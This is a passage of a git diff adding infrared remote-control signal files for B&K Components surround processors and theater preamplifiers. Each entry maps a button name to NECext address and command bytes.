4F 00 00 +command: 9A 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: C6 00 00 00 +# +name: SURR +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: CA 00 00 00 +# +name: LOUD +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: CF 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: E2 00 00 00 +# +name: BASS_UP +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: E5 00 00 00 +# +name: TREB_UP +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: F9 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Surround Processor/27,78.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Surround Processor/27,78.ir new file mode 100644 index 000000000..2549520c1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Surround Processor/27,78.ir @@ -0,0 +1,590 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 01 00 00 00 +# +name: Z2_OFF +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 01 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 02 00 00 00 +# +name: Z2_ON +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 03 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 03 00 00 00 +# +name: Z2_MUTE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 03 00 00 00 +# +name: V1 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 05 00 00 00 +# +name: Z2_VCR_[V1] +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 05 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 06 00 00 00 +# +name: V3 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 06 00 00 00 +# +name: V2 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 09 00 00 00 +# +name: Z2_TIVO_[V2] +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 09 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0B 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0D 00 00 00 +# +name: FM_INPUT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0E 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0F 00 00 00 +# +name: Z2_CD +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0F 00 00 00 +# +name: CENTER_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 15 00 00 00 +# +name: CNTR_< +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 15 00 00 00 +# +name: CENTER_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 16 00 00 00 +# +name: CNTR_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 16 00 00 00 +# +name: REAR_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 19 00 00 00 +# +name: REAR_< +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 19 00 00 00 +# +name: REAR_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1A 00 00 00 +# +name: REAR_> +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1A 00 00 00 +# +name: SUB_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1D 00 00 00 +# +name: SUB_< +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1D 00 00 00 +# +name: SUB_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1E 00 00 00 +# +name: SUB_> +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1E 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1F 00 00 00 +# +name: CURSOR_LF +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1F 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 20 00 00 00 +# +name: CURSOR_RT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 20 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 23 00 00 00 +# +name: Z2_VOL_DN +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 24 00 00 00 +# +name: Z2_VOL_UP +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 24 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 29 00 00 00 +# +name: EQ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2A 00 00 00 +# +name: DVD-A +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2B 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2D 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2D 00 00 00 +# +name: CURSOR_DN +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2D 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2E 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2F 00 00 00 +# +name: MENU_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 30 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 36 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 37 00 00 00 +# +name: EX +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 39 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3A 00 00 00 +# +name: DIRECT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3B 00 00 00 +# +name: LTRT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3E 00 00 00 +# +name: HEADPHONE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3E 00 00 00 +# +name: Z +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 40 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 4A 00 00 00 +# +name: Z2_SAT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 4A 00 00 00 +# +name: PAN+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 4E 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 53 00 00 00 +# +name: BASS< +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 65 00 00 00 +# +name: DPL +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 6A 00 00 00 +# +name: MOVIE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 72 00 00 00 +# +name: AM_TUNER +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 76 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 76 00 00 00 +# +name: Z2_RADIO_[AM] +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 76 00 00 00 +# +name: TREB< +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 79 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 7D 00 00 00 +# +name: THX +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 8A 00 00 00 +# +name: THX +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 8A 00 00 00 +# +name: FM_TUNER +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 8E 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 8E 00 00 00 +# +name: Z2_RADIO_[FM] +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 8E 00 00 00 +# +name: MONO +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 9A 00 00 00 +# +name: IMG+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 9E 00 00 00 +# +name: NEO_6 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: AA 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: B2 00 00 00 +# +name: SURR +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: CA 00 00 00 +# +name: PAN__ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: CE 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: E2 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: E2 00 00 00 +# +name: BASS_> +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: E5 00 00 00 +# +name: DPLII +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: EA 00 00 00 +# +name: IMG_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: EE 00 00 00 +# +name: TREB> +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: F9 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater Preamplifier/139,71.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater Preamplifier/139,71.ir new file mode 100644 index 000000000..8a6f02d42 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater Preamplifier/139,71.ir @@ -0,0 +1,398 @@ +Filetype: IR signals file +Version: 1 +# +name: BK003_POWER_OFF +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 01 00 00 00 +# +name: BK003_POWER_ON +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 02 00 00 00 +# +name: BK003_MUTE +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 03 00 00 00 +# +name: BK003_V1 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 05 00 00 00 +# +name: BK003_TV +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 06 00 00 00 +# +name: BK003_V2 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 09 00 00 00 +# +name: BK003_TAPE +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 0B 00 00 00 +# +name: BK003_DVD +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 0D 00 00 00 +# +name: BK003_CD +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 0F 00 00 00 +# +name: BK003_CENTER- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 15 00 00 00 +# +name: BK003_CENTER+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 16 00 00 00 +# +name: BK003_REAR- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 19 00 00 00 +# +name: BK003_REAR+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 1A 00 00 00 +# +name: BK003_SUB- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 1D 00 00 00 +# +name: BK003_SUB+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 1E 00 00 00 +# +name: BK003_LEFT +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 1F 00 00 00 +# +name: BK003_RIGHT +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 20 00 00 00 +# +name: BK003_VOLUME- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 23 00 00 00 +# +name: BK003_VOLUME+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 24 00 00 00 +# +name: BK003_NUMBER_+10 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 29 00 00 00 +# +name: BK003_EQ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 2A 00 00 00 +# +name: BK003_DVD-AUDIO +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 2B 00 00 00 +# +name: BK003_DOWN +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 2D 00 00 00 +# +name: BK003_UP +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 2E 00 00 00 +# +name: BK003_MENU +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 2F 00 00 00 +# +name: BK003_ENTER/SELECT +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 30 00 00 00 +# +name: BK003_NUMBER_1 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 31 00 00 00 +# +name: BK003_NUMBER_2 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 32 00 00 00 +# +name: BK003_NUMBER_3 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 33 00 00 00 +# +name: BK003_NUMBER_4 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 35 00 00 00 +# +name: BK003_NUMBER_5 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 36 00 00 00 +# +name: BK003_NUMBER_6 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 37 00 00 00 +# +name: BK003_NUMBER_7 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 39 00 00 00 +# +name: BK003_NUMBER_8 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 3A 00 00 00 +# +name: BK003_NUMBER_9 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 3B 00 00 00 +# +name: BK003_NUMBER_0 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 3E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 3E 00 00 00 +# +name: BK003_Z +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 3F 00 00 00 +# +name: BK003_SAVE +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 40 00 00 00 +# +name: BK003_SAT +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 4A 00 00 00 +# +name: BK003_PRESET+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 4B 00 00 00 +# +name: BK003_PANORAMA+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 4E 00 00 00 +# +name: BK003_INFO +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 53 00 00 00 +# +name: BK003_BASS- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 65 00 00 00 +# +name: BK003_GAME +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 6A 00 00 00 +# +name: BK003_MOVIE +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 72 00 00 00 +# +name: BK003_AM +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 76 00 00 00 +# +name: BK003_TREBLE- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 79 00 00 00 +# +name: BK003_EXIT +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 7D 00 00 00 +# +name: BK003_DIMENSION+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 81 00 00 00 +# +name: BK003_CINEMA +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 8A 00 00 00 +# +name: BK003_FM +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 8E 00 00 00 +# +name: BK003_MONO +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 9A 00 00 00 +# +name: BK003_IMAGE+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 9E 00 00 00 +# +name: BK003_NEO:6 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: AA 00 00 00 +# +name: BK003_MUSIC +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: B2 00 00 00 +# +name: BK003_SLEEP +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: B3 00 00 00 +# +name: BK003_PRESET- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: C6 00 00 00 +# +name: BK003_SURROUND +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: CA 00 00 00 +# +name: BK003_PANORAMA- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: CE 00 00 00 +# +name: BK003_STEREO +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: E2 00 00 00 +# +name: BK003_BASS+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: E5 00 00 00 +# +name: BK003_PRO_LOGIC_IIX +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: EA 00 00 00 +# +name: BK003_IMAGE- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: EE 00 00 00 +# +name: BK003_TREBLE+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: F9 00 00 00 +# +name: BK003_DIMENSION- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater Preamplifier/203,67.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater Preamplifier/203,67.ir new file mode 100644 index 000000000..a27dc9923 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater Preamplifier/203,67.ir @@ -0,0 +1,392 @@ +Filetype: IR signals file +Version: 1 +# +name: BK005_POWER_OFF +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 01 00 00 00 +# +name: BK005_POWER_ON +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 02 00 00 00 +# +name: BK005_MUTE +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 03 00 00 00 +# +name: BK005_V1 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 05 00 00 00 +# +name: BK005_TV +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 06 00 00 00 +# +name: BK005_V2 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 09 00 00 00 +# +name: BK005_TAPE +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 0B 00 00 00 +# +name: BK005_DVD +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 0D 00 00 00 +# +name: BK005_CD +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 0F 00 00 00 +# +name: BK005_CENTER- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 15 00 00 00 +# +name: BK005_CENTER+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 16 00 00 00 +# +name: BK005_REAR- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 19 00 00 00 +# +name: BK005_REAR+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 1A 00 00 00 +# +name: BK005_SUB- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 1D 00 00 00 +# +name: BK005_SUB+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 1E 00 00 00 +# +name: BK005_LEFT +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 1F 00 00 00 +# +name: BK005_RIGHT +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 20 00 00 00 +# +name: BK005_VOLUME- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 23 00 00 00 +# +name: BK005_VOLUME+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 24 00 00 00 +# +name: BK005_NUMBER_+10 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 29 00 00 00 +# +name: BK005_EQ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 2A 00 00 00 +# +name: BK005_DVD-AUDIO +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 2B 00 00 00 +# +name: BK005_DOWN +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 2D 00 00 00 +# +name: BK005_UP +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 2E 00 00 00 +# +name: BK005_MENU +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 2F 00 00 00 +# +name: BK005_ENTER/SELECT +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 30 00 00 00 +# +name: BK005_NUMBER_1 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 31 00 00 00 +# +name: BK005_NUMBER_2 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 32 00 00 00 +# +name: BK005_NUMBER_3 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 33 00 00 00 +# +name: BK005_NUMBER_4 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 35 00 00 00 +# +name: BK005_NUMBER_5 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 36 00 00 00 +# +name: BK005_NUMBER_6 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 37 00 00 00 +# +name: BK005_NUMBER_7 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 39 00 00 00 +# +name: BK005_NUMBER_8 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 3A 00 00 00 +# +name: BK005_NUMBER_9 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 3B 00 00 00 +# +name: BK005_NUMBER_0 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 3E 00 00 00 +# +name: BK005_Z +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 3F 00 00 00 +# +name: BK005_SAVE +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 40 00 00 00 +# +name: BK005_SAT +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 4A 00 00 00 +# +name: BK005_PRESET+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 4B 00 00 00 +# +name: BK005_PANORAMA+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 4E 00 00 00 +# +name: BK005_INFO +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 53 00 00 00 +# +name: BK005_BASS- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 65 00 00 00 +# +name: BK005_GAME +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 6A 00 00 00 +# +name: BK005_MOVIE +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 72 00 00 00 +# +name: BK005_AM +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 76 00 00 00 +# +name: BK005_TREBLE- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 79 00 00 00 +# +name: BK005_EXIT +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 7D 00 00 00 +# +name: BK005_DIMENSION+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 81 00 00 00 +# +name: BK005_CINEMA +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 8A 00 00 00 +# +name: BK005_FM +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 8E 00 00 00 +# +name: BK005_MONO +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 9A 00 00 00 +# +name: BK005_IMAGE+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 9E 00 00 00 +# +name: BK005_NEO:6 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: AA 00 00 00 +# +name: BK005_MUSIC +type: parsed +protocol: NECext +address: CB 43 00 00 +command: B2 00 00 00 +# +name: BK005_SLEEP +type: parsed +protocol: NECext +address: CB 43 00 00 +command: B3 00 00 00 +# +name: BK005_PRESET- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: C6 00 00 00 +# +name: BK005_SURROUND +type: parsed +protocol: NECext +address: CB 43 00 00 +command: CA 00 00 00 +# +name: BK005_PANORAMA- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: CE 00 00 00 +# +name: BK005_STEREO +type: parsed +protocol: NECext +address: CB 43 00 00 +command: E2 00 00 00 +# +name: BK005_BASS+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: E5 00 00 00 +# +name: BK005_PRO_LOGIC_IIX +type: parsed +protocol: NECext +address: CB 43 00 00 +command: EA 00 00 00 +# +name: BK005_IMAGE- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: EE 00 00 00 +# +name: BK005_TREBLE+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: F9 00 00 00 +# +name: BK005_DIMENSION- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater Preamplifier/27,78.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater Preamplifier/27,78.ir new file mode 100644 index 000000000..118da702e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater Preamplifier/27,78.ir @@ -0,0 +1,392 @@ +Filetype: IR signals file +Version: 1 +# +name: BK001_POWER_OFF +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 01 00 00 00 +# +name: BK001_POWER_ON +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 02 00 00 00 +# +name: BK001_MUTE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 03 00 00 00 +# +name: BK001_V1 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 05 00 00 00 +# +name: BK001_TV +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 06 00 00 00 +# +name: BK001_V2 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 09 00 00 00 +# +name: BK001_TAPE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0B 00 00 00 +# +name: BK001_DVD +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0D 00 00 00 +# +name: BK001_CD +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0F 00 00 00 +# +name: BK001_CENTER- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 15 00 00 00 +# +name: BK001_CENTER+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 16 00 00 00 +# +name: BK001_REAR- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 19 00 00 00 +# +name: BK001_REAR+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1A 00 00 00 +# +name: BK001_SUB- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1D 00 00 00 +# +name: BK001_SUB+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1E 00 00 00 +# +name: BK001_LEFT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1F 00 00 00 +# +name: BK001_RIGHT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 20 00 00 00 +# +name: BK001_VOLUME- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 23 00 00 00 +# +name: BK001_VOLUME+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 24 00 00 00 +# +name: BK001_NUMBER_+10 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 29 00 00 00 +# +name: BK001_EQ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2A 00 00 00 +# +name: BK001_DVD-AUDIO +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2B 00 00 00 +# +name: BK001_DOWN +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2D 00 00 00 +# +name: BK001_UP +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2E 00 00 00 +# +name: BK001_MENU +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2F 00 00 00 +# +name: BK001_ENTER/SELECT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 30 00 00 00 +# +name: BK001_NUMBER_1 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 31 00 00 00 +# +name: BK001_NUMBER_2 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 32 00 00 00 +# +name: BK001_NUMBER_3 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 33 00 00 00 +# +name: BK001_NUMBER_4 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 35 00 00 00 +# +name: BK001_NUMBER_5 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 36 00 00 00 +# +name: BK001_NUMBER_6 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 37 00 00 00 +# +name: BK001_NUMBER_7 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 39 00 00 00 +# +name: BK001_NUMBER_8 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3A 00 00 00 +# +name: BK001_NUMBER_9 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3B 00 